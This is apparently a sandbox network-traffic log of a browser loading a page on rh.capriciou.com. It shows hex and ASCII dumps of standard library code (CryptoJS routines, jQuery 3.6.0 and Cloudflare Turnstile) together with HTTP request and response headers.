2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: lobalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 Data Ascii: l(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)tr
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b Data Ascii: f t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 Data Ascii: t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e Data Ascii: (r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 Data Ascii: .byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:func
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 Data Ascii: At(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRS
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2024-11-07 18:31:58 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:58 UTC	648	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rh.capriciou.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:58 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 07 Nov 2024 18:31:58 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/ccb741a09fd3/api.js Server: cloudflare CF-RAY: 8def674039c76c0d-DFW alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:31:59 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:31:59 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 07 Nov 2024 18:31:59 GMT Age: 2021181 X-Served-By: cache-lga21931-LGA, cache-dfw-kdfw8210139-DFW X-Cache: HIT, HIT X-Cache-Hits: 2, 4444 X-Timer: S1731004320.757560,VS0,VE0 Vary: Accept-Encoding
2024-11-07 18:31:59 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-11-07 18:31:59 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-11-07 18:32:00 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-11-07 18:32:00 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-11-07 18:32:00 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-11-07 18:32:00 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:00 UTC	647	OUT	GET /turnstile/v0/g/ccb741a09fd3/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://rh.capriciou.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-07 18:32:00 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:00 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Fri, 01 Nov 2024 17:05:51 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8def674b7a3e2e75-DFW alt-svc: h3=":443"; ma=86400
2024-11-07 18:32:00 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
